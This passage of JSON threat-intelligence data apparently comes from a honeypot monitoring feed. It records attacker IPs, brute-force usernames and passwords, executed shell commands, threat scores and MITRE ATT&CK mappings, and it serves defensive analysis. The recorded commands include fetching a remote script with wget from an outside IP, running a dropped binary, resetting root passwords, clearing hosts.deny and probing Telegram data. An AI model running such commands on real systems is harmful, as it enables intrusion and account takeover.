        "ubuntu",
        "admin",
        "ali",
        "345gs5662d34",
        "consulta",
        "factura",
        "ftpuser",
        "linuxuser",
        "odoo",
        "readarr",
        "shyam",
        "steam",
        "test1",
        "umair",
        "vpn"
      ],
      "passwords_attempted": [
        "123456",
        "123qwe!@",
        "1qaz2wsx!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "Ali23!",
        "P@ssw0rd",
        "Zq123456",
        "a1234569",
        "admin123!",
        "admin15!",
        "azerty123",
        "factura",
        "ftpuser01!",
        "hik12345+",
        "linuxuser",
        "odoo12!",
        "qwe@2023",
        "qwertyuiop..",
        "readarr"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | wc -l",
        "echo -e \"Ali23!\\nKq5JQj8FoO4i\\nKq5JQj8FoO4i\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 249,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T10:50:50.445000+00:00",
        "last_seen_30d": "2026-04-08T19:37:41.478000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 167,
        "Suricata": 82
      }
    },
    "129.153.121.56": {
      "attack_count": 69,
      "first_seen": "2026-04-06T09:21:03.028Z",
      "last_seen": "2026-04-28T02:33:33.643Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "12345",
        "admin",
        "guest"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 46.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T09:21:03.028000+00:00",
        "last_seen_30d": "2026-04-28T02:34:34.051000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 69,
        "Suricata": 8
      }
    },
    "45.148.10.157": {
      "attack_count": 36,
      "first_seen": "2026-04-02T16:03:14.293Z",
      "last_seen": "2026-04-28T13:02:58.735Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 49.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T16:03:14.293000+00:00",
        "last_seen_30d": "2026-04-28T13:04:08.127000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "120.48.110.204": {
      "attack_count": 20,
      "first_seen": "2026-04-04T08:55:37.309Z",
      "last_seen": "2026-04-04T08:55:56.738Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T08:55:37.309000+00:00",
        "last_seen_30d": "2026-04-11T10:54:10.850000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10,
        "Honeytrap": 1
      }
    },
    "134.209.232.87": {
      "attack_count": 14,
      "first_seen": "2026-04-27T17:09:26.789Z",
      "last_seen": "2026-04-27T17:09:47.136Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.7,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 5,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-24T13:22:50+00:00",
        "last_seen_30d": "2026-04-28T11:39:21.796000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Honeytrap": 25,
        "Cowrie": 14,
        "Ipphoney": 3
      }
    },
    "65.49.1.94": {
      "attack_count": 11,
      "first_seen": "2026-04-02T02:14:54.666Z",
      "last_seen": "2026-04-05T14:29:56.405Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4951.41 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T01:13:56+00:00",
        "last_seen_30d": "2026-04-30T15:51:30.456000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 161,
        "Honeytrap": 68,
        "Cowrie": 11,
        "Dionaea": 3,
        "CitrixHoneypot": 2,
        "ConPot": 2,
        "Honeyaml": 2,
        "Tanner": 2
      }
    },
    "125.77.133.94": {
      "attack_count": 10,
      "first_seen": "2026-04-08T09:13:22.006Z",
      "last_seen": "2026-04-08T09:53:36.480Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "server"
      ],
      "passwords_attempted": [
        "12345@qwe",
        "Server29!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133776,
      "as_org": "Quanzhou",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T09:13:22.006000+00:00",
        "last_seen_30d": "2026-04-08T09:54:36.937000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "64.67.11.49": {
      "attack_count": 10,
      "first_seen": "2026-04-28T03:57:00.859Z",
      "last_seen": "2026-04-28T04:03:08.175Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Stroudsburg",
      "asn": 3737,
      "as_org": "PenTeleData Inc.",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T03:57:00.859000+00:00",
        "last_seen_30d": "2026-04-28T04:04:10.008000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "120.48.54.170": {
      "attack_count": 9,
      "first_seen": "2026-04-25T13:59:04.723Z",
      "last_seen": "2026-04-25T14:24:00.422Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "claude"
      ],
      "passwords_attempted": [
        "Claude14!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:59:04.723000+00:00",
        "last_seen_30d": "2026-04-25T14:34:00.758000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 6
      }
    },
    "205.210.31.20": {
      "attack_count": 4,
      "first_seen": "2026-04-03T04:06:20.913Z",
      "last_seen": "2026-04-03T04:06:24.627Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 70.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 27,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T18:34:02+00:00",
        "last_seen_30d": "2026-04-28T10:02:51.533000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Honeytrap": 14,
        "Cowrie": 4
      }
    },
    "111.70.26.153": {
      "attack_count": 2,
      "first_seen": "2026-04-22T05:13:57.576Z",
      "last_seen": "2026-04-22T05:14:10.772Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 17421,
      "as_org": "Mobile Business Group",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T05:13:57.576000+00:00",
        "last_seen_30d": "2026-04-22T05:15:11.472000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.229.179.6": {
      "attack_count": 2,
      "first_seen": "2026-04-02T00:02:27.339Z",
      "last_seen": "2026-04-02T00:02:40.655Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T00:02:27.339000+00:00",
        "last_seen_30d": "2026-04-02T00:03:49.182000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.157.97.141": {
      "attack_count": 2,
      "first_seen": "2026-04-23T07:17:10.134Z",
      "last_seen": "2026-04-23T07:17:10.135Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T07:17:10.134000+00:00",
        "last_seen_30d": "2026-04-23T07:48:18.908000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "151.244.147.198": {
      "attack_count": 2,
      "first_seen": "2026-04-30T06:40:47.966Z",
      "last_seen": "2026-04-30T06:41:00.054Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Mosul",
      "asn": 208324,
      "as_org": "Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:40:47.966000+00:00",
        "last_seen_30d": "2026-04-30T06:42:06.500000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.49.80.220": {
      "attack_count": 2,
      "first_seen": "2026-04-29T06:44:20.883Z",
      "last_seen": "2026-04-29T06:44:34.079Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Aligarh",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T06:44:20.883000+00:00",
        "last_seen_30d": "2026-04-29T06:45:36.406000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    }
  },
  "x_nadsec_summary": {
    "top_countries": {
      "Brazil": 89485,
      "United States": 71068,
      "Netherlands": 51821,
      "Hong Kong": 36625,
      "Indonesia": 36440,
      "Vietnam": 34602,
      "Germany": 28023,
      "India": 24421,
      "Mexico": 23494,
      "South Korea": 23221,
      "Romania": 23138,
      "Singapore": 18607,
      "Taiwan": 17405,
      "Sweden": 13072,
      "France": 12553,
      "Luxembourg": 12354,
      "China": 12184,
      "United Kingdom": 11423,
      "Morocco": 7497,
      "Pakistan": 6963
    },
    "top_asns": {
      "W-NET TELLECOM EIRELI ME": 76160,
      "Microsoft Corporation": 34009,
      "Unmanaged Ltd": 31763,
      "Omegatech LTD": 28424,
      "UCLOUD INFORMATION TECHNOLOGY HK LIMITED": 27860,
      "Pfcloud UG (haftungsbeschrankt)": 26887,
      "Viettel Group": 18639,
      "PT Cloud Hosting Indonesia": 16156,
      "Feo Prest SRL": 14675,
      "Sierra Madre Internet SA de CV": 14421,
      "Offshore LC": 12354,
      "DigitalOcean, LLC": 11547,
      "Tencent Building, Kejizhongyi Avenue": 11374,
      "Korea Telecom": 10180,
      "Comcast Cable Communications, LLC": 8923,
      "Google LLC": 8820,
      "SK Broadband Co Ltd": 8762,
      "OVH SAS": 8691,
      "w1n ltd": 8678,
      "Viettel Corporation": 6285
    },
    "targeted_ports": {},
    "top_usernames": {
      "root": 1516,
      "345gs5662d34": 967,
      "ubuntu": 735,
      "admin": 640,
      "test": 523,
      "user": 511,
      "postgres": 387,
      "deploy": 362,
      "ftpuser": 360,
      "steam": 358,
      "oracle": 251,
      "dev": 242,
      "git": 232,
      "frappe": 215,
      "ali": 203,
      "odoo": 201,
      "server": 178,
      "bot": 173,
      "claude": 173,
      "sammy": 163,
      "n8n": 155,
      "teamspeak": 129,
      "vpn": 123,
      "user1": 111,
      "testuser": 102,
      "GET / HTTP/1.1": 99,
      "minecraft": 98,
      "deployer": 83,
      "guest": 80,
      "test1": 75
    },
    "top_passwords": {
      "3245gs5662d34": 967,
      "345gs5662d34": 967,
      "123456": 566,
      "123": 363,
      "admin": 348,
      "1234": 320,
      "12345678": 241,
      "12345": 239,
      "1": 188,
      "password": 182,
      "Host: 172.105.186.117:23": 122,
      "root": 116,
      "": 107,
      "P@ssw0rd": 106,
      "123456789": 105,
      "111111": 84,
      "1111": 83,
      "abc123": 80,
      "admin123": 72,
      "123123": 71,
      "1qaz@WSX": 67,
      "Accept: */*": 64,
      "Aa112211.": 63,
      "1234567890": 62,
      "test": 58,
      "123321": 56,
      "1qaz2wsx": 49,
      "ubuntu": 48,
      "orangepi": 45,
      "112233": 41
    },
    "top_commands": {
      "uname -a": 1041,
      "cd ~; chattr -ia .ssh; lockr -ia .ssh": 1006,
      "lockr -ia .ssh": 1006,
      "cat /proc/cpuinfo | grep name | wc -l": 956,
      "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'": 951,
      "ls -lh $(which ls)": 951,
      "which ls": 951,
      "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'": 950,
      "crontab -l": 950,
      "uname -m": 949,
      "cat /proc/cpuinfo | grep model | grep name | wc -l": 948,
      "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'": 948,
      "top": 948,
      "uname": 948,
      "w": 948,
      "whoami": 948,
      "lscpu | grep Model": 947,
      "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;": 678,
      "Enter new UNIX password:": 653,
      "Enter new UNIX password: ": 653,
      "": 64,
      "uname -s -v -n -r -m": 39,
      "Accept-Encoding: gzip": 26,
      "/bin/./uname -s -v -n -r -m": 24,
      "/ip cloud print": 24,
      "cat /proc/cpuinfo": 24,
      "echo Hi | cat -n": 24,
      "ifconfig": 24,
      "locate D877F783D5D3EF8Cs": 24,
      "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*": 24,
      "ps -ef | grep '[Mm]iner'": 24,
      "ps | grep '[Mm]iner'": 24,
      "sh": 22,
      "enable": 21,
      "shell": 21,
      "system": 20,
      "uname -s -m": 20,
      "while read i": 13,
      "q": 12,
      "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s": 12,
      "rm .s; exit": 12,
      "/bin/busybox BOT": 10,
      "uname -a ; echo 'vT'": 7,
      "linuxshell": 6,
      "echo login_success": 5,
      "PING": 5,
      "ping ;sh": 4,
      "Connection: close": 4,
      "echo SHELL_TEST": 4,
      "/bin/busybox cat /proc/self/exe || cat /proc/self/exe": 3
    }
  },
  "x_mitre_attack": {
    "techniques": {
      "T1592": {
        "name": "Gather Victim Host Information",
        "tactic": "Reconnaissance",
        "ip_count": 2192,
        "sample_sources": []
      },
      "T1110.001": {
        "name": "Brute Force: Password Guessing",
        "tactic": "Credential Access",
        "ip_count": 1832,
        "sample_sources": []
      },
      "T1059.004": {
        "name": "Command and Scripting Interpreter: Unix Shell",
        "tactic": "Execution",
        "ip_count": 1325,
        "sample_sources": [
          "command:cd /tmp && chmod +x E2KmF87D && bash -c ./E2KmF87D",
          "command:cd /tmp || cd /var/run || cd /mnt || cd /root || c",
          "command:wget -qO- http://196.251.107.133/bins/sin.sh"
        ]
      },
      "T1082": {
        "name": "System Information Discovery",
        "tactic": "Discovery",
        "ip_count": 1142,
        "sample_sources": [
          "command:uname",
          "command:uname -a",
          "command:uname -m"
        ]
      },
      "T1098": {
        "name": "Account Manipulation",
        "tactic": "Persistence",
        "ip_count": 953,
        "sample_sources": [
          "command:echo \"Steam23!\\noxcyeSnWcrHi\\noxcyeSnWcrHi\\n\"|pass",
          "command:echo \"Test26\\nwFstegcuqH1I\\nwFstegcuqH1I\\n\"|passwd",
          "command:echo \"User@2025\\nX2dKJ1DPnsMN\\nX2dKJ1DPnsMN\\n\"|pas"
        ]
      },
      "T1053.003": {
        "name": "Scheduled Task/Job: Cron",
        "tactic": "Persistence",
        "ip_count": 950,
        "sample_sources": [
          "command:crontab -l"
        ]
      },
      "T1078": {
        "name": "Valid Accounts",
        "tactic": "Initial Access",
        "ip_count": 916,
        "sample_sources": []
      },
      "T1105": {
        "name": "Ingress Tool Transfer",
        "tactic": "Command and Control",
        "ip_count": 725,
        "sample_sources": [
          "command:echo \"ftpuser19\\nvJgBP3DX2N8R\\nvJgBP3DX2N8R\\n\"|pas",
          "command:echo -e \"ftpuser19\\nvJgBP3DX2N8R\\nvJgBP3DX2N8R\"|pa",
          "command:echo \"ftptesttest\\nrcshirBErRw4\\nrcshirBErRw4\\n\"|p"
        ]
      },
      "T1074.001": {
        "name": "Data Staged: Local Data Staging",
        "tactic": "Collection",
        "ip_count": 693,
        "sample_sources": [
          "command:rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill ",
          "command:cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busyb",
          "command:scp -t /tmp/E2KmF87D"
        ]
      },
      "T1070": {
        "name": "Indicator Removal",
        "tactic": "Defense Evasion",
        "ip_count": 679,
        "sample_sources": [
          "command:rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill ",
          "command:cd /tmp || cd /var/run || cd /mnt || cd /root || c"
        ]
      },
      "T1572": {
        "name": "Protocol Tunneling",
        "tactic": "Command and Control",
        "ip_count": 102,
        "sample_sources": []
      },
      "T1041": {
        "name": "Exfiltration Over C2 Channel",
        "tactic": "Exfiltration",
        "ip_count": 27,
        "sample_sources": []
      },
      "T1057": {
        "name": "Process Discovery",
        "tactic": "Discovery",
        "ip_count": 26,
        "sample_sources": [
          "command:ps -ef | grep '[Mm]iner'",
          "command:ps | grep '[Mm]iner'",
          "command:cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; "
        ]
      },
      "T1222.002": {
        "name": "File and Directory Permissions Modification: Linux",
        "tactic": "Defense Evasion",
        "ip_count": 7,
        "sample_sources": [
          "command:cd /tmp && chmod +x E2KmF87D && bash -c ./E2KmF87D",
          "command:cd /tmp || cd /var/run || cd /mnt || cd /root || c",
          "command:PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /va"
        ]
      },
      "T1132.001": {
        "name": "Data Encoding: Standard Encoding",
        "tactic": "Command and Control",
        "ip_count": 3,
        "sample_sources": [
          "command:base64 -d",
          "command:echo UEFUSD0vYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2Jpb",
          "command:echo \"user04\\nKXXDmn1fxnX5\\nKXXDmn1fxnX5\\n\"|passwd"
        ]
      },
      "T1021.004": {
        "name": "Remote Services: SSH",
        "tactic": "Lateral Movement",
        "ip_count": 2,
        "sample_sources": [
          "command:scp -t /tmp/E2KmF87D",
          "command:scp -t /tmp/9k5cHKca"
        ]
      },
      "T1562.004": {
        "name": "Impair Defenses: Disable or Modify System Firewall",
        "tactic": "Defense Evasion",
        "ip_count": 2,
        "sample_sources": [
          "command:echo \"root:HyJyUFwXZWgk\"|chpasswd|bash",
          "command:echo \"root:uFweQQdujkFO\"|chpasswd|bash"
        ]
      },
      "T1095": {
        "name": "Non-Application Layer Protocol",
        "tactic": "Command and Control",
        "ip_count": 1,
        "sample_sources": [
          "command:test -x /bin/netcat"
        ]
      }
    },
    "tactic_summary": {
      "Reconnaissance": 2192,
      "Persistence": 1903,
      "Credential Access": 1832,
      "Execution": 1325,
      "Discovery": 1168,
      "Initial Access": 916,
      "Command and Control": 831,
      "Collection": 693,
      "Defense Evasion": 688,
      "Exfiltration": 27,
      "Lateral Movement": 2
    },
    "technique_count": 18,
    "primary_tactics": [
      "Reconnaissance",
      "Persistence",
      "Credential Access"
    ]
  },
  "x_nadsec_threat_summary": {
    "total_ips": 4037,
    "scored_ips": 4037,
    "threat_distribution": {
      "critical": 358,
      "high": 254,
      "medium": 300,
      "low": 1188,
      "minimal": 1937,
      "unknown": 0
    },
    "avg_threat_score": 29.6,
    "max_threat_score": 100,
    "top_threats": [
      {
        "ip": "5.187.35.26",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 18,
        "country": "Netherlands",
        "org": "Amarutu Technology Ltd"
      },
      {
        "ip": "18.116.101.220",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 260,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "45.82.78.106",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 2,
        "country": "Germany",
        "org": "Detai Prosperous Technologies Limited"
      },
      {
        "ip": "18.218.118.203",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 162,
        "country": "United States",
        "org": "Amazon.com, Inc."
      },
      {
        "ip": "80.66.83.43",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 27,
        "country": "Russia",
